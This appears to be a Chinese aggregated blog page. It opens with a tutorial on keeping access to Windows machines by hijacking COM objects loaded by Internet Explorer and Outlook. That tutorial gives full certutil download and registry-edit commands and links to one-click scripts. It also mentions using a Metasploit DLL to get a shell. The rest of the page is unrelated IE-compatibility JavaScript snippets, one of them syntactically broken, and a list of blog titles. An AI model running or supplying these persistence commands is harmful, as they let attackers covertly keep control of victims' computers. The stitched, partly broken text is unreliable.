-
劫持outlook与IE浏览器实现权限维持
2020-11-16 18:21:24实现过程劫持IE浏览器劫持outlook3.参考文章 1.实现原理 通过劫持IE浏览器或者outlook启动过程中启动的com组件,来使系统执行我们所指定的dll文件,进而达到权限维持,可以通过修改注册表来完成,不需要管理员权限。...1.实现原理
通过劫持IE浏览器或者outlook启动过程中启动的com组件,来使系统执行我们所指定的dll文件,进而达到权限维持,可以通过修改注册表来完成,不需要管理员权限。
2.实现过程
劫持IE浏览器
- 下载poc文件:
certutil.exe -urlcache -split -f https://github.com/3gstudent/test/blob/master/calcmutex.dll - 创建文件夹
如果是64位系统:
mkdir %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E} cd %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}
- 下载文件并修改文件名
certutil.exe -urlcache -split -f [url] api-ms-win-downlevel-1x64-l1-1-0._dl certutil.exe -urlcache -split -f [url] #删除缓存
- 修改注册表
值为刚下载的文件的绝对路径:
C:\Users\test\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl
- 劫持结果
也可以使用msf生成的dll来实现,会弹回shell,不过机器重启后,会丢失桌面,直接黑屏。需要自己编写恶意dll确保dll只会执行一次。定义一个互斥向量即可。
所有命令如下:
cd desktop mkdir %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E} copy calcmutex.dll %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl copy calcmutex_x64.dll %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InProcServer32 REG.EXE ADD %KEY% /VE /T REG_SZ /D "C:\Users\test\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl" /F REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F SET KEY=HKCU\Software\Classes\Wow6432Node\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InProcServer32 REG.EXE ADD %KEY% /VE /T REG_SZ /D "C:\Users\test\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl" /F REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
也可以使用脚本一键完成:https://github.com/3gstudent/COM-Object-hijacking
劫持outlook
实现所需所有命令如下:
reg add HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs /t REG_SZ /d "{49CBB1C7-97D1-485A-9EC1-A26065633066}" /f reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066} /t REG_SZ /d "Mail Plugin" /f reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /t REG_SZ /d "C:\Users\test\Desktop\calc.dll" /f reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /v ThreadingModel /t REG_SZ /d "Apartment" /f reg add HKCU\Software\Classes\Wow6432Node\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs /t REG_SZ /d "{49CBB1C7-97D1-485A-9EC1-A26065633066}" /f reg add HKCU\Software\Classes\Wow6432Node\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066} /t REG_SZ /d "Mail Plugin" /f reg add HKCU\Software\Classes\Wow6432Node\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /t REG_SZ /d "C:\Users\test\Desktop\calc.dll" /f reg add HKCU\Software\Classes\Wow6432Node\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /v ThreadingModel /t REG_SZ /d "Apartment" /f
自动实现脚本:https://github.com/3gstudent/Homework-of-Powershell/blob/master/Invoke-OutlookPersistence.ps1
3.参考文章
Hijack CAccPropServicesClass and MMDeviceEnumerator劫持IE浏览器
Use COM Object hijacking to maintain persistence——Hijack Outlook - 下载poc文件:
-
网站适配IE浏览器的几个注意事项
2020-06-16 16:25:50网站适配IE浏览器的几个注意事项 注意事项目录网站适配IE浏览器的几个注意事项1、ajax请求date数据格式:2、部分js插件需要引入对应的js文件才能生效2、判断不同浏览器内核后使用对应的方法2、IE浏览器常见报错1)、...网站适配IE浏览器的几个注意事项
注意事项目录
1、ajax请求date数据格式:
错误示范
$.ajax({ url: 'url', type: 'POST', data: { data: "data", }, success: function (e) { } })
正确示范(最后一个date值不能有“,”)
$.ajax({ url: 'url', type: 'POST', data: { data: "data" }, success: function (e) { } })
2、部分js插件需要引入对应的js文件才能生效
例如:sweetalert弹框插件,在IE浏览器正常运行,需要引入promise.auto.js,在chorme浏览器则不需要
IE正常使用该插件有两种方法:
1、cdn地址:https://cdn.bootcss.com/es6-promise/4.1.1/es6-promise.auto.js
2、以下代码不会与IE11一起运行:swal({ title: 'Are you sure?', text: "You won't be able to revert this!", type: 'warning', showCancelButton: true, confirmButtonColor: '#3085d6', cancelButtonColor: '#d33', confirmButtonText: 'Yes, delete it!' }).then((result) => { if (result.value) { swal( 'Deleted!', 'Your file has been deleted.', 'success' ) } })
解决此问题的简单方法是使用 function() 语法而不是 () =>
swal({ title: 'Are you sure?', text: "You won't be able to revert this!", type: 'warning', showCancelButton: true, confirmButtonColor: '#3085d6', cancelButtonColor: '#d33', confirmButtonText: 'Yes, delete it!' }).then(function(result) { if (result.value) { swal( 'Deleted!', 'Your file has been deleted.', 'success' ) } })
2、判断不同浏览器内核后使用对应的方法
var ie = navigator.userAgent.match(/MSIE\s([\d.]+)/), ie11 = navigator.userAgent.match(/Trident\/7.0/) && navigator.userAgent.match(/rv:11/), ieEDGE = navigator.userAgent.match(/Edge/g), ieVer = (ie ? ie[1] : (ie11 ? 11 : (ieEDGE ? 12 : -1))); console.log('excelFileie:' + ie); console.log('excelFileieVer:' + ieVer); if (ie && ieVer < 10) { this.message.error('No blobs on IE<10'); return; } if (ieVer > -1) { //IE } else { //chorme }
2、IE浏览器常见报错
1)、无效字符:
原本是:
`string text ${expression} string text`
修改为
"string text "+expression+" string text"
2)、js导出excel文件,传递给系统调用的数据区域太小:
IE浏览器对URL的最大限制为2083个字符,如果超过这个数字,提交按钮没有任何反应。
function downloadFile(title, data) { const blob = new Blob([data], {type: 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet;'}); const ie = navigator.userAgent.match(/MSIE\s([\d.]+)/), ie11 = navigator.userAgent.match(/Trident\/7.0/) && navigator.userAgent.match(/rv:11/), ieEDGE = navigator.userAgent.match(/Edge/g), ieVer = (ie ? ie[1] : (ie11 ? 11 : (ieEDGE ? 12 : -1))); console.log('ie:' + ie); console.log('ieVer:' + ieVer); if (ie && ieVer < 10) { this.message.error('No blobs on IE<10'); return; } if (ieVer > -1) { window.navigator.msSaveBlob(blob, title); } else { const url = window.URL.createObjectURL(blob); let link = document.createElement('a'); link.setAttribute('href', url); link.setAttribute('download', title); document.body.appendChild(link); link.click(); document.body.removeChild(link); } }
3)、InvalidCharacterError
//创建HTML元素的js代码, 例如ajaxfileupload.js, 行10 字符17代码: var io = document.createElement("<iframe id='" + frameId + "' name='" + frameId + "' />"); //以上代码在IE10下报如下错误: //SCRIPT5022: InvalidCharacterError //解决办法,改成如下兼容写法: var io=document.createElement("iframe"); io.id=frameId; io.name=frameId; //以上代码出至 ajaxfileupload.js, 行10 字符17 使用ajaxfileupload.js需把此行更改成上面那样,才能在IE10正常运行。
-
检测是否为IE浏览器及IE浏览器的版本
2018-06-07 16:25:371、检测是否为IE浏览器方法一 function isIE() { if (!!window.ActiveXObject || "ActiveXObject" in window) return true; else return false; } 2、判断是否为IE浏览器方法二 //判断是否是IE浏览器 ...1、检测是否为IE浏览器方法一
function isIE() { if (!!window.ActiveXObject || "ActiveXObject" in window) return true; else return false; }
2、判断是否为IE浏览器方法二
//判断是否是IE浏览器 function isIE(){ var userAgent = navigator.userAgent; //取得浏览器的userAgent字符串 var isIE = userAgent.indexOf("compatible") > -1 && userAgent.indexOf("MSIE") > -1 && !isOpera; //判断是否IE浏览器 if(isIE){ return "1"; }else{ return "-1"; } }
2、检测IE浏览器的版本
function IEVersion() { var userAgent = navigator.userAgent; //取得浏览器的userAgent字符串 var isIE = userAgent.indexOf("compatible") > -1 && userAgent.indexOf("MSIE") > -1; //判断是否IE<11浏览器 var isEdge = userAgent.indexOf("Edge") > -1 && !isIE; //判断是否IE的Edge浏览器 var isIE11 = userAgent.indexOf('Trident') > -1 && userAgent.indexOf("rv:11.0") > -1; if (isIE) { var reIE = new RegExp("MSIE (\\d+\\.\\d+);"); reIE.test(userAgent); var fIEVersion = parseFloat(RegExp["$1"]); if (fIEVersion == 7) { return 7; } else if (fIEVersion == 8) { return 8; } else if (fIEVersion == 9) { return 9; } else if (fIEVersion == 10) { return 10; } else { return 6; //IE版本<=7 } else if (isEdge) { return 'edge'; //edge } else if (isIE11) { return 11; //IE11 } else { return -1; //不是ie浏览器 } } }
交流
1、QQ群:可添加qq群共同进阶学习: 进军全栈工程师疑难解 群号: 856402057
2、公众号:公众号「进军全栈攻城狮」 ,对前端技术保持学习爱好者。我会经常分享自己所学所看的干货,在进阶的路上,共勉!
-
ActivexObject 区分IE浏览器与非IE浏览器
2017-04-17 18:23:42使用ActivexObject 区分IE浏览器与非IE浏览器 IE支持ActiveObject控件,而chrome系列不支持 function isIE(){ if (window.ActiveXObject || "ActiveXObject" in window) { return true; }else{ return false; }...使用ActivexObject 区分IE浏览器与非IE浏览器
IE支持ActiveObject控件,而chrome系列不支持
function isIE(){ if (window.ActiveXObject || "ActiveXObject" in window) { return true; }else{ return false; } }
-
AngularJS进阶(三十七)IE浏览器兼容性后续
2016-03-04 18:06:29IE浏览器兼容性后续 前言 继续尝试解决IE浏览器兼容性问题,结局方案为更换jquery、angularjs、IE的版本。 1.首先尝试更换jquery版本为1.7.2 jquery-1.9.1.js-->jquery-1.7.2.js--> jquery2.1.4.js 无效 2.尝试... -
Mac 安装IE浏览器
2018-12-18 23:56:12我们都知道在Mac上不能直接安装IE浏览器,如果要在Mac上使用IE浏览器,网上也有很多方法,比如安装虚拟机、通过安装 CrossOver或使用wine来安装IE、通过Mac自带的浏览器Safari代理IE内核等,但我觉得目前比较好用的... -
ie浏览器下载文件中文名称乱码
2020-06-19 15:42:01//方法功能描述:判断是否是IE浏览器 public boolean isMSBrowser(HttpServletRequest request) { String[] IEBrowserSignals = {"MSIE", "Trident", "Edge"}; String userAgent = request.getHeader("User-Agent... -
WIN7系统怎么卸载IE浏览器?IE浏览器怎么卸载?
2016-12-03 10:57:11Win7系统自带的IE浏览器是IE9浏览器,如果用习惯了非IE内核的浏览器,想卸载IE浏览器应该怎么操作呢?IE浏览器怎么卸载?下面跟着小编操作如何卸载停用IE浏览器吧 工具/原料 WIN7 IE... -
CSS hack 如何区分所有IE浏览器和非IE浏览器
2014-06-21 16:23:38CSS hack 如何区分所有IE浏览器和非IE浏览器 -
IE浏览器以及内置IE浏览器的程序不能使用的解决方案
2016-06-04 10:40:43IE浏览器以及内置IE浏览器的程序不能使用的解决方案 -
IE浏览器驱动下载
2017-11-21 17:47:17IE IE浏览器入门导学 -
ie浏览器降级
2017-02-08 14:36:41有时我们会处理各种浏览器兼容问题,而同浏览器的...浏览器中的ie的卸载更是麻烦无比,今天介绍一下通过控制台降低我们ie浏览器的版本进行调试。 1.ie浏览器打开控制台(F12) 2.点击Edge 3.选择你需要调试的版本号 -
vue项目兼容IE浏览器
2018-08-17 11:04:56vue项目兼容IE浏览器 利用vue写出的项目打包后在IE浏览器下显示空白,是因为缺少babel-polyfill的缘故。 解决方法: 1、安装babel-polyfill包; 2、在main.js文件中引入babel-polyfill; 3、在... -
Mac上使用IE浏览器
2020-02-17 17:46:37我们都知道在Mac上不能直接安装IE浏览器,如果要在Mac上使用IE浏览器,网上也有很多方法,比如安装虚拟机、通过安装CrossOver或使用wine来安装IE、通过Mac自带的浏览器Safari代理IE内核等,但我觉得目前比较好用的... -
Win10安装IE浏览器教程
2020-04-08 15:07:37Win10安装IE浏览器教程一、开启系统更新二、设置网络三、安装IE浏览器 目前,win10系统默认使用的浏览器是Microsoft Edge浏览器,但是也还有一些喜欢使用IE浏览器的网友。因此,今天给大家分享一下win10系统使用IE... -
js判断IE浏览器的版本
2019-02-18 20:46:52js判断IE浏览器的版本 参考文献: [1] js判断是否是ie浏览器且给出ie版本 -
ie浏览器升级_Win1020H2更新后将强行封锁ie浏览器,您能接受么?
2020-11-14 06:36:16截至九月底为止,数据显示,Edge浏览器市占率已来到8.84%,领先FireFox和IE浏览器。而为了推广Edge浏览器,微软不仅在官方页面放了大大的宣传栏、加速IE的淘汰,现在广告都打到Win10系统里了。从Win10 v2004版本开始... -
IE浏览器调试默认是IE 7版本
2019-04-01 16:41:21碰到只能使用IE浏览器的前端项目代码,也真是无奈啊。。。 问题描述: 碰到一个比较古老的项目,当时只做了IE兼容,其他的浏览器打开样式非常乱,由于项目还在使用,又没有过多时间做兼容,只好硬着头皮在IE中做... -
使用Selenium启动IE浏览器
2018-06-06 10:22:20Selenium Webdriver启动IE浏览器需要使用到IE浏览器的驱动InternetExplorerDriver,一个exe文件,所以首先需要下载InternetExplorerDriver。 具体启动步骤: 1. 下载InternetExplorerDriver,从这里下载 推荐... -
IE浏览器对象不支持Blob属性或方法,IE浏览器不支持canvas toBlob()方法的Polyfill
2019-08-08 14:46:34前言:由于有裁剪图像的需求,所以就应用了Cropper.js插件,但是在IE浏览器就爆出了兼容blob问题。 解决方案:其实在https://www.canvasapi.cn/HTMLCanvasElement/toBlob#&othersCanvas中文官网官方网站有给出... -
单点登录,谷歌浏览器系统跳转到指定ie浏览器
2019-08-22 17:53:07设置ie浏览器中转站,通过本地ie浏览器打开的页面进行跳转,记住是通过本地ie浏览器的页面,通过这个页面再跳转到其他系统上。 1、先通过control跳转到sso页面。 2、sso页面,通过ie,跳转到aaa页面。(注意:sso... -
ie浏览器与谷歌浏览器滚动条隐藏问题
2018-12-11 11:28:36下面这种方式可以在谷歌浏览器中将main的滚动条隐藏,但在ie中却不兼容。 .main::-webkit-scrollbar { ...下面的代码可以让Main有滚动条的效果并且在ie浏览器中不显示滚动条的存在。 ..... ... -
Vue项目兼容IE浏览器
2017-08-24 11:09:15Vue项目部署到服务器后,通常除IE浏览器外其他都正常,而IE浏览器会报这么个问题因为Vue使用了ES6 Promise,而IE浏览器不支持,解决方法是: 使用babel-polyfill转换 ... -
打开IE浏览器自动跳转到Edge浏览器
2021-02-22 11:26:04IE浏览器代理出问题导致的程序网络不可用解决办法就是打开IE浏览器重置,但是自从安装了edge后,打开ie就会自动打开edge然后IE关闭,无论试多少次都是一样的 第一个想到的办法:强制卸载edge 使用了干edge注册表项... -
成功解决~请使用IE浏览器(兼容模式)
2019-08-06 16:33:42成功解决~请使用IE浏览器(兼容模式) 目录 解决问题 解决思路 解决方法 1、图文教程 解决问题 请使用IE浏览器(兼容模式) 解决思路 有些网站版本... -
angular项目兼容IE浏览器
2018-05-25 21:15:46图书馆的项目最近想要放到钉钉上使用,但是项目放到微信公众号上可以访问,放到钉钉上却不可以用,刚开始很疑惑为什么会这样呢,后来才知道钉钉的内核是IE内核,把项目放到电脑上的IE浏览器中也是不可以访问的。... -
IE浏览器 DOM资源管理器 报错
2016-12-30 09:58:59IE浏览器的dom资源管理器出错 -
如何查看IE浏览器保存的密码
2019-03-22 15:54:35如何查看IE浏览器保存的密码 IE浏览器保存的密码是windows的一种凭证,下面我们就来试一下如何查看IE浏览器保存的密码 方法/步骤 让我们打开IE浏览器,点击右上角的Internet选项图标,如图页面显示; 点击... -
ie浏览器中dispatchEvent报错
2019-04-23 15:40:42原代码如下(谷歌浏览器正常,但在ie浏览中会报错): $("#remark").val("");...修改后代码如下(ie浏览器亲测也正常,ie11浏览器): var event2 = document.createEvent("HTMLEvents"); event2.initEvent... -
非IE浏览器实现IE功能(浏览器加载OCX控件)——IE Tab
2019-09-12 18:44:38最近使用到第三方公司开发的OCX控件,由于控件只支持IE浏览器,但是项目需要使用谷歌浏览器展示, 以下是谷歌、火狐等非IE浏览器实现部分IE功能的方法步骤。请参考。 准备工作:下载IE Tab控件,以下以IE Tab_12.7....